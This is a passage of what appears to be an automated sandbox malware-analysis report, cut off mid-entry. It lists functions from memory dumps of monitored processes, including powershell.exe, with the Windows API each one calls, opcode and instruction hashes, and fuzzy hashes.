Function 0033AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0033ABC9

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: fdf2768889df7f04698b58061548f61d8a690ca31a72914074e855e154a46149
Instruction ID: 7ab34dda2bca4e541e5a7c75bad2b9cbd535d16285718dd9e8b2d75218bfd71a
Opcode Fuzzy Hash: fdf2768889df7f04698b58061548f61d8a690ca31a72914074e855e154a46149
Instruction Fuzzy Hash: 5601D171404740CFEB10DF55DCC9B91FB98DF00320F18C0AACD488F602D674A804CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027D1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027D1148

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: ab94dd845c5bff38b94d11f0343782d1e285a56a925ded34966e4d2ed9c3bfaa
Instruction ID: 2d734e134e576f9aec738b3adf94673ac46c531cb7c6a7203864ef555c3f8acd
Opcode Fuzzy Hash: ab94dd845c5bff38b94d11f0343782d1e285a56a925ded34966e4d2ed9c3bfaa
Instruction Fuzzy Hash: F0F0AF35504740DFEB20CF05DC89765FBA4EF05A25F48C19ADD494B312D676A944CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0033A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0033A39C

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: f67547687e610b2445970df4a6d12c63b0f2f366681f394c3df80c479f6ad472
Instruction ID: cf4fe08cc66672c6f9e38c1dcef10c5ebbeb9fa32e891316a6c4d0517967ea08
Opcode Fuzzy Hash: f67547687e610b2445970df4a6d12c63b0f2f366681f394c3df80c479f6ad472
Instruction Fuzzy Hash: 46F0A939504B40DFEB219F06D889765FBA4EF04735F18C09ADD894B712D379A908DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027D096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027D099C

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: a51fd1ecd9c1d6ccd97d7c3f82bc5c69104ea7be965b14c2d70fdac2dfc8a13a
Instruction ID: b58b97034ab6f3870ef6d7b488b978104c931edc9fbf8033d17083f6f4f33be7
Opcode Fuzzy Hash: a51fd1ecd9c1d6ccd97d7c3f82bc5c69104ea7be965b14c2d70fdac2dfc8a13a
Instruction Fuzzy Hash: 66F0A935904740DFFB209F06D889766FBA0EF14725F08C09ADD494B316D375A908CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0033AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0033AA71

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 5e82bc0f9119d9bc85b5e8524d0a282c485509819f7edea3af8f2eb960e4c2d9
Instruction ID: 2aa398bea681ac3186b43d7bb49d657b01af58ad89c5a3b7d3f79fab0521188c
Opcode Fuzzy Hash: 5e82bc0f9119d9bc85b5e8524d0a282c485509819f7edea3af8f2eb960e4c2d9
Instruction Fuzzy Hash: C8F0CD32504B44CFEB11CF06D9C9761FBA4EF04725F18C09ADD494B652D278E904DAA3

Uniqueness

Uniqueness Score: -1.00%

Function 0033A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0033A9C8

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 6d867097f82540930e1edaf975004b998451865793dc3fb7133b2d938178fc59
Instruction ID: 078d01e077297f086f5662f34fe93d9ac8321b1a9afb01539b52a8833a72abe2
Opcode Fuzzy Hash: 6d867097f82540930e1edaf975004b998451865793dc3fb7133b2d938178fc59
Instruction Fuzzy Hash: FF11A3715093809FD712CF25DC89B92FFA4DF02224F0980EBED858B252D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0033A9C8

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 106403589c6ffa0bd16de8249b9e392f129d770656d460c3d30d724aec2f2add
Instruction ID: 500acd07a59945f24bf2d2b8609a53483c274969e03e1cb0be0473ac6ea4e81f
Opcode Fuzzy Hash: 106403589c6ffa0bd16de8249b9e392f129d770656d460c3d30d724aec2f2add
Instruction Fuzzy Hash: 9C01F271500B40CFEB11DF15DC897A6FB94DF00320F18C0ABDC498B652D379A804DB62

Uniqueness

Uniqueness Score: -1.00%

Function 003323F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2210129249.0000000000332000.00000040.00000001.sdmp, Offset: 00332000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e566e544dde0d2b2f39610aeb9791380879b47fcc4a56dc36bdb6cd7a46338f
Instruction ID: 11ca1480d00175dc0d8a9be2446c5b1218e2dbfb565db5d7001535e3e8144ad3
Opcode Fuzzy Hash: 9e566e544dde0d2b2f39610aeb9791380879b47fcc4a56dc36bdb6cd7a46338f
Instruction Fuzzy Hash: CAD05E79204A818FD7178A1DC1A4B963794AF55B04F4744F9E840CB6A3C768F981D200

Uniqueness

Uniqueness Score: -1.00%

Function 003323BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2210129249.0000000000332000.00000040.00000001.sdmp, Offset: 00332000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da2102276781008713592a65ddc201280f5ed631673b7f3b43d9ffa089dcf576
Instruction ID: e37af1660b0ae19d565e3a0d0a97cca42d520a1a58ac700d16f325c38c023641
Opcode Fuzzy Hash: da2102276781008713592a65ddc201280f5ed631673b7f3b43d9ffa089dcf576
Instruction Fuzzy Hash: 33D05E383406818FDB16DA1CC1D4F5A73E4AF40B10F0644E8BC008B266C3A8E880C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2428 Parent PID: 2948 powershell.exeCOMMON

Executed Functions

Function 01DCACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01DCAD37

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 75377d729edefefcc4ba33a0faf35421189bae2a8e0e16b157f4bd049765b407
Instruction ID: fe8f967680d2b62915602126e93b3fd3d0793035ff63a34f57aae5a1e1011617
Opcode Fuzzy Hash: 75377d729edefefcc4ba33a0faf35421189bae2a8e0e16b157f4bd049765b407
Instruction Fuzzy Hash: C821D3765097849FEB23CF25DC44B92BFB4EF06310F0884DAE9858B163E2719908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01DCAD37

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: cb8002de31fc8d67f8c24d49e530197bae5b6b135afaad33aef2b6c030e00430
Instruction ID: 1568f7e5d0d107f8ddc92b63cda9234c9044df9a08e850f5f01933f0f5ef54f4
Opcode Fuzzy Hash: cb8002de31fc8d67f8c24d49e530197bae5b6b135afaad33aef2b6c030e00430
Instruction Fuzzy Hash: E31191755007059FEB21CF59D844B96FBE4EF04621F04C86EED458B652E371E514CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCB2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01DCB329

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 0e8573a88c5bbbcaa0df56c1501ef92863f398d9591b57533c55bd42f15a838a
Instruction ID: fd4c52dcae5a6fae8cb5c11301e93d36cfad7e8074cf87efbf2d00be93a1e3c8
Opcode Fuzzy Hash: 0e8573a88c5bbbcaa0df56c1501ef92863f398d9591b57533c55bd42f15a838a
Instruction Fuzzy Hash: 5311A071508380AFDB228F15DC45F62FFB4EF06220F09C49EED844B663C275A918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01DCB2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01DCB329

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 0a7a5d7efcdd09d3c24aba17c58307135e8c2d90ab15ea7bba6efd5aae416202
Instruction ID: 34aec148bd12418541c8298ea8b68f14d1c0e929052633af4164d0b85d888825
Opcode Fuzzy Hash: 0a7a5d7efcdd09d3c24aba17c58307135e8c2d90ab15ea7bba6efd5aae416202
Instruction Fuzzy Hash: DB018B32500700DFEB218F49D886B62FBA0EF08A21F08C49EDD890B656C271E518DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027F0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027F01D0

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: f8229d0e0f3d1617cb9e177e70e89eeb93556b0a22ccfd3479dadcfe32e47699
Instruction ID: dea9e44ba116db7b19aaf32198136796d4e16832dbdfc47a4bb6f7ca904a89d1
Opcode Fuzzy Hash: f8229d0e0f3d1617cb9e177e70e89eeb93556b0a22ccfd3479dadcfe32e47699
Instruction Fuzzy Hash: EE314A7650E3C08FE7138B759C65692BFB4AF03210F0E84DBD984CF2A3D6659809D762

Uniqueness

Uniqueness Score: -1.00%

Function 027F067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027F072D

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce4d3ff7f40ce41f221946c37ce4d5cbe4424fcc3ae9b81aad72cf036a55bef2
Instruction ID: 73573bbceb25eb44d9e55c2781d5baf97b56e2e89cb7819d156b8568c23cb82e
Opcode Fuzzy Hash: ce4d3ff7f40ce41f221946c37ce4d5cbe4424fcc3ae9b81aad72cf036a55bef2
Instruction Fuzzy Hash: 50315071509380AFE722CF65CC45F56BFF8EF05210F09859EE9858B293D365A908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 027F0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027F0DD6

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: cd04bbb090ecca12979070ecab95334e03685b8a5e2de53c7e8adfde01628ff4
Instruction ID: 2c2d259627f4c8e667ab1411fcb36ff9293ae3c6c616b984829333a61329321c
Opcode Fuzzy Hash: cd04bbb090ecca12979070ecab95334e03685b8a5e2de53c7e8adfde01628ff4
Instruction Fuzzy Hash: 1031C8B1509380AFE712CB25DC45B96BFE8DF06214F0884AAE944CF293D375A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 01DCBD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 01DCBDBC

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: e1cbad3a9a9a4d188683fbfa328e153a6a8fbee969965abf221bf3e9725481b7
Instruction ID: 3b8d1c3269daa8f0735fd91714bb5d4edb5bd66aee9f88c1cbf7d2e59aa84080
Opcode Fuzzy Hash: e1cbad3a9a9a4d188683fbfa328e153a6a8fbee969965abf221bf3e9725481b7
Instruction Fuzzy Hash: 6B319372509380AFE722CB61DC55F96BFB8EF06210F0885DBF985DB193D225A908C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 01DCAFBE

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 0a34e74c4c085164ad0be8ee48c86c0f6d6a7de4ed16e83f9df4a428767832ca
Instruction ID: 90d3f65b3448c2cd90c84ffc3e0f77560f9c96c7ddb230a2b0b9a653e1baf314
Opcode Fuzzy Hash: 0a34e74c4c085164ad0be8ee48c86c0f6d6a7de4ed16e83f9df4a428767832ca
Instruction Fuzzy Hash: EA21B4B2509380AFE712CF65DC45B96BFB8EF06320F0884DBE984DB193D265A949C771

Uniqueness

Uniqueness Score: -1.00%

Function 027F0FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027F109E

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 39141f2db06a32e4287fe5d77aeb0ce4401c3a1c1da0689215395c73e2f63551
Instruction ID: fe2039496b2fcdaf48d9b5b426e55674d309d37041fc7fc84c1e03238bd55a43
Opcode Fuzzy Hash: 39141f2db06a32e4287fe5d77aeb0ce4401c3a1c1da0689215395c73e2f63551
Instruction Fuzzy Hash: AF31737550E3C05FD3138B358C55B55BFB4AF43610F1A81DBD884CF1A3D629A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01DCB01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 01DCB0AE

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 293a230a49f33dadb4f5a53ade6df54de0c3be82d325ae72ce811d4910da5bff
Instruction ID: d8e6059f6e1f72c839b339c509124152e3a5f4a296b855e6da3928cb4bebeb45
Opcode Fuzzy Hash: 293a230a49f33dadb4f5a53ade6df54de0c3be82d325ae72ce811d4910da5bff
Instruction Fuzzy Hash: 90219171505380AFE722CB15DC45FA6BFB8EF06660F08849BF945DB192D664E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA1A8, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 01DCA23E

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: ee3b33346376d77ec3a21742128c5320c2a2365199f818705317a616fab0e5fd
Instruction ID: e87646cb91f6c42343f7876310b9add01386572adae5b221bc2a6cff49aeaa9b
Opcode Fuzzy Hash: ee3b33346376d77ec3a21742128c5320c2a2365199f818705317a616fab0e5fd
Instruction Fuzzy Hash: 2821C47180D3C06FD312CB258C55B66BFB4EF47620F0981DBE8848F293D329A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 027F0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 027F0819

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 216264ebfc6311fcbb9d4636868202df16840818344cda40ed0eab7121def74f
Instruction ID: 3b91f750ecba1545f1e6df5ae58b3da7cdbf968253425524a1f48b4d7a884af7
Opcode Fuzzy Hash: 216264ebfc6311fcbb9d4636868202df16840818344cda40ed0eab7121def74f
Instruction Fuzzy Hash: 7D210A76408780AFE712CB15DC45FA3BFA8EF46720F0881DBF9848B297D224A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 027F0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027F0502

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 46d379bf037863d81986bc4e35644a2475ddf943112ae5b0f768e55d2fd66bae
Instruction ID: d3f3bd2a462d4cf7874f1dd7531cc7a8b431ceb205d2c2307b946a0bf8430bb8
Opcode Fuzzy Hash: 46d379bf037863d81986bc4e35644a2475ddf943112ae5b0f768e55d2fd66bae
Instruction Fuzzy Hash: 04217F7650E3C0AFD3128B758C55B62BFB4EF47610F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027F06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027F072D

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ec8a1929eec70e335146683a2dfa5f69a983fd956b0ef0885d300a17dc6d2f3d
Instruction ID: e7d29e9fe7da8fa2e9477c3a113b8b950ca84731c70218c1a7052d7fd278ea7a
Opcode Fuzzy Hash: ec8a1929eec70e335146683a2dfa5f69a983fd956b0ef0885d300a17dc6d2f3d
Instruction Fuzzy Hash: 11219C71504300EFEB20DF65CC85B66FBE8EF08210F0484AAEA499A396D371E904CB71

Uniqueness

Uniqueness Score: -1.00%

Function 027F0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 027F08E5

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: bcfef79abf2e761cb27c425b87e9d2e09d1ea5db7ccf9d024e98f3474e3739ab
Instruction ID: 8908410bd73955bfc0b972e8dd8ff42e7a4636592ebc1792713ad8ae2022e5a0
Opcode Fuzzy Hash: bcfef79abf2e761cb27c425b87e9d2e09d1ea5db7ccf9d024e98f3474e3739ab
Instruction Fuzzy Hash: 59219272409380AFE722CF61DC45F96BFB8EF06314F09849BE9449B193C265A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01DCA94A

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 021b2ad7c4df082181ddb901f7e642e9d3e48a9297c600e0a00590ace2e6d20e
Instruction ID: 7c569bd36fe848ddf5b53cd34587d94ba54026af966fd401ae41d118feb48a30
Opcode Fuzzy Hash: 021b2ad7c4df082181ddb901f7e642e9d3e48a9297c600e0a00590ace2e6d20e
Instruction Fuzzy Hash: D621A77550D780AFD3138B25DC51B62BFB4EF87720F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027F0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027F0DD6

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: fcc56e18459e01cc828d766942534db4f0120480cced3464a14df655bbe6d667
Instruction ID: 7cdc5eab42b2cd4c32cf9759ba53d7ffd7e42d655cb032dd47388693df033154
Opcode Fuzzy Hash: fcc56e18459e01cc828d766942534db4f0120480cced3464a14df655bbe6d667
Instruction Fuzzy Hash: 2B21A171604200AFF760DF65CC85BA6FBD8EF04220F04846AE948DB386D775F904CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCBD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 01DCBDBC

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 5dfd6ce707cecff17a45f9fc8acfcce7880b170103da5303aad9228e7ef735e5
Instruction ID: 1cb6fc51fe7602b2ff99b2834704084994163f2d39d5b642a5a36afcde99b698
Opcode Fuzzy Hash: 5dfd6ce707cecff17a45f9fc8acfcce7880b170103da5303aad9228e7ef735e5
Instruction Fuzzy Hash: 10119D72500304EFEB21CF65DC85FAAFBACEF04760F04896AF9459B141D670E9448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01DCB04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 01DCB0AE

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: ac97530a8a759d6b9834c5eba3a0c97e710e3eae9747a72a6ab4ffd7f3d5f460
Instruction ID: 98a87afa11e3093a62b4fa3e73de51a3ff6782a2b71374bc29068c2e5065d017
Opcode Fuzzy Hash: ac97530a8a759d6b9834c5eba3a0c97e710e3eae9747a72a6ab4ffd7f3d5f460
Instruction Fuzzy Hash: 02118171600700EFEB21CF19DC86FA6FBA8EF05660F14886BFD45CB281D674E9048A71

Uniqueness

Uniqueness Score: -1.00%

Function 027F137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027F13F0

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 5b90b695cfcdb71874b8677788b32998d25f1fa66954904c12fa5ad761027d80
Instruction ID: c3fc444f81ae872fdf015492e32f5fa7edfe68cea0a0fb0a4362cee0825ccf47
Opcode Fuzzy Hash: 5b90b695cfcdb71874b8677788b32998d25f1fa66954904c12fa5ad761027d80
Instruction Fuzzy Hash: 322192725083809FDB21CF25DC45B96FFB4EF06220F08849EED858B662D235A449DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027F0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027F0FB0

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 95f6df72f70c3024bf9f361cdbf971165863b2a64915939ee973073c40d825d3
Instruction ID: 6c423da22c1bb5db6f4e54f5490cd8f02ea3450cd62e02eb41eaa1f2ce0ee9f1
Opcode Fuzzy Hash: 95f6df72f70c3024bf9f361cdbf971165863b2a64915939ee973073c40d825d3
Instruction Fuzzy Hash: 3F216F7150D3C09FDB52CB25DC55B92BFB4AF03224F0D84DAE9888F257D2659908C762

Uniqueness

Uniqueness Score: -1.00%

Function 01DCBABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01DCBB2F

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: dcdddb579f0897d1a67b605bdb056d61afc5d9d2d3ea0c3e540bcb65502cc032
Instruction ID: 9b6c51de734e5acf9446dd71b8ea1b636bd5e8c42e489fe5cea7600983162ea7
Opcode Fuzzy Hash: dcdddb579f0897d1a67b605bdb056d61afc5d9d2d3ea0c3e540bcb65502cc032
Instruction Fuzzy Hash: C521A1725093C09FEB12CB65DC55B92BFB4EF07220F0984DBED858F263D264A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01DCAB1A

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: abd582a195b48aaadb5878776ec2f305a254e6577b9d5011cfb6ae44327b33da
Instruction ID: 4bb5a2b528d0fbbac42a286d9fcd9373c6757c6f10cd07cd337c2db0fd63a78f
Opcode Fuzzy Hash: abd582a195b48aaadb5878776ec2f305a254e6577b9d5011cfb6ae44327b33da
Instruction Fuzzy Hash: FB2175716053849FD722CF29DC44B52FFA8EF56610F08849EED45CB253E265E404C761

Uniqueness

Uniqueness Score: -1.00%

Function 027F10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027F1148

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: d856d9a314ff72d0ff6eae0c86a9be1040bf0d036031f0ca9626336b0852c961
Instruction ID: ff0f1b7337e1c29a8f9b983431457e60ae413ac14bbed8263a70bffe0152cbf4
Opcode Fuzzy Hash: d856d9a314ff72d0ff6eae0c86a9be1040bf0d036031f0ca9626336b0852c961
Instruction Fuzzy Hash: DC216D6140D3C49FD7138B25DC54A62BFB4EF57620F0980DBD9848F2A3D2696908D772

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 01DCAFBE

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 377d7c2047263a0fa4958bb72ae57de4681ea277ba8a5056d60ec1c5281e045b
Instruction ID: fb89c218f4a93e574e1c202e42633c319b088f848dcf7ff1595fef6bac51a7c1
